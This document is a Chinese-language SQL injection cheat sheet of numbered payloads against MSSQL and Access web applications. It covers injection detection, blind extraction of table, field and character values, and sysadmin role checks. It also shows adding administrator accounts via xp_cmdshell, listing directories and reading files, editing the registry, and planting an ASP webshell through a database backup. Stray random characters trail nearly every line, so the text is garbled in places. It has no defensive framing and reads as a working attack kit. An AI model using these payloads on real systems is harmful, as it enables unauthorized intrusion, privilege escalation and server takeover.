1.判断是否有注入;and 1=1 ;and 1=2 @EQ{lGpU3
2.初步判断是否是mssql ;and user>0 B[$e;h*Aw[
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3.注入参数是字符'and [查询条件] and ''=' <[q)2 5RL
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4
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5.判断数据库系统 5u&jNU5m_
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;and (select count(*) from sysobjects)>0 mssql u,C-U!A
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;and (select count(*) from msysobjects)>0 access bIH2cJ
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 `XD$1>
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K,R Ia0)
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #8`G&S*
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9.(1)猜字段的ascii值(access) cr!I"kTgD
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
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(2)猜字段的ascii值(mssql) )KNFS,5
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2@H~nw 0
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10.测试权限结构(mssql) ^,X+
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- qjWgyhL
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *)w
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |h'ugx1iY
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- iCHZ{<k
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- .1}u0IbJ
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;and 1=(select IS_MEMBER('db_owner'));-- (d ( whlF
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11.添加mssql和系统的帐户 LR^b?.#>
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;exec master.dbo.sp_addlogin username;-- LvR=uD
;exec master.dbo.sp_password null,username,password;-- 55AG>j&41
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0
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;exec master.dbo.xp_cmdshell 'net user username password l+#`
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- iX,Qh2(ig
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- *Vc}W
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- f(3#5288
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12.(1)遍历目录 wM|-u/9+
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;create table dirs(paths varchar(100), id int) -wO`o<
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Ao,lEjN I
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;and (select top 1 paths from dirs)>0 ='mqfGRi>
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) h.c)+wz/%C
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(2)遍历目录 Ar\`OhR
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- {u!,TDt*
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 g'I S8@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5ogbse"
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 aB$Y5
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *z(.D\{%
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13.mssql中的存储过程 `T mIrc
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xp_regenumvalues 注册表根键, 子键 t!K|3>w
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 t!PFosFp
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xp_regread 根键,子键,键值名 h[ tOY
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 amPQU
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xp_regwrite 根键,子键, 值名, 值类型, 值 Sd{>(YWx~
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7%o\O{,U
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xp_regdeletevalue 根键,子键,值名 =EIsqk^*
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 NE/3aU
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 h'N,oDB)
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14.mssql的backup创建webshell ."MBKyg6
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use model )[/+j"F
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create table cmd(str image); n0EKNMO
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insert into cmd(str) values (''); $biCm$a
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backup database model to disk='c:\l.asp'; rR."_Z2
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15.mssql内置函数 hmks\eb~
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;and (select @@version)>0 获得Windows的版本号 }B"kJNxV
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa g6nBu
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;and (select user_name())>0 爆当前系统的连接用户 }J:~}?^%n
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;and (select db_name())>0 得到当前连接的数据库 rJR"[TTJ
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16.简洁的webshell :^px1
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use model B:Msn)C~
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create table cmd(str image); _<xU"8b"5
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insert into cmd(str) values (''); Ff.gRx
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backup database model to disk='g:\wwwtest\l.asp';